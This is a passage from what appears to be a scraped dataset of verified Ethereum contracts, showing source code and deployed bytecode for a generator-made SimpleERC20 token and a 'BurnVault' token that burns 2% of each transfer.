6815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a3457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611b1357fe5b021790555060006004541115611bfd57611b98600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c7c573d6000803e3d6000fd5b505600a165627a7a72305820bd3bc6992caca0e15d1eab1a2f46cdfe1bcf8e17142108848dab85ca3d36b1350029
[ 4 ]
0xf25341C89195e7eA5f85A04D573359fBFb4C11Fe
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xf2543b49d7d41ef4ed61cbe7cddea4b488bb967c
/** *Submitted for verification at Etherscan.io on 2020-09-26 */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } } contract BurnVault is ERC20 { constructor() public ERC20("BurnVault", "bCore") { _mint(msg.sender, 10000 * (10**uint256(decimals()))); } function transfer(address to, uint256 amount) public override returns (bool) { return super.transfer(to, _partialBurn(amount)); } function transferFrom( address from, address to, uint256 amount ) public override returns (bool) { return super.transferFrom( from, to, _partialBurnTransferFrom(from, amount) ); } function _partialBurn(uint256 amount) internal returns (uint256) { uint256 burnAmount = amount.div(50); if (burnAmount > 0) { _burn(msg.sender, burnAmount); } return amount.sub(burnAmount); } function _partialBurnTransferFrom(address _originalSender, uint256 amount) internal returns (uint256) { uint256 burnAmount = amount.div(50); if (burnAmount > 0) { _burn(_originalSender, burnAmount); } return amount.sub(burnAmount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f61059d565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a7565b604051808215151515815260200191505060405180910390f35b6102436105c6565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105dd565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610682565b6040518082815260200191505060405180910390f35b6103256106ca565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061076c565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082b565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610847565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b60006105933384846108ce565b6001905092915050565b6000600254905090565b60006105bd84846105b88786610ac5565b610b0e565b90509392505050565b6000600560009054906101000a900460ff16905090565b6000610678338461067385600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd990919063ffffffff16565b6108ce565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107625780601f1061073757610100808354040283529160200191610762565b820191906000526020600020905b81548152906001019060200180831161074557829003601f168201915b5050505050905090565b6000610821338461081c8560405180606001604052806025815260200161146860259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c619092919063ffffffff16565b6108ce565b6001905092915050565b600061083f8361083a84610d21565b610d69565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610954576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114446024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061138e6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080610adc603284610d8090919063ffffffff16565b90506000811115610af257610af18482610dca565b5b610b058184610f8290919063ffffffff16565b91505092915050565b6000610b1b848484610fcc565b610bce8433610bc9856040518060600160405280602881526020016113d660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c619092919063ffffffff16565b6108ce565b600190509392505050565b600080828401905083811015610c57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290610d0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cd3578082015181840152602081019050610cb8565b50505050905090810190601f168015610d005780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080610d38603284610d8090919063ffffffff16565b90506000811115610d4e57610d4d3382610dca565b5b610d618184610f8290919063ffffffff16565b915050919050565b6000610d76338484610fcc565b6001905092915050565b6000610dc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611282565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113fe6021913960400191505060405180910390fd5b610ebb8160405180606001604052806022815260200161136c602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c619092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f1281600254610f8290919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000610fc483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c61565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611052576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061141f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffff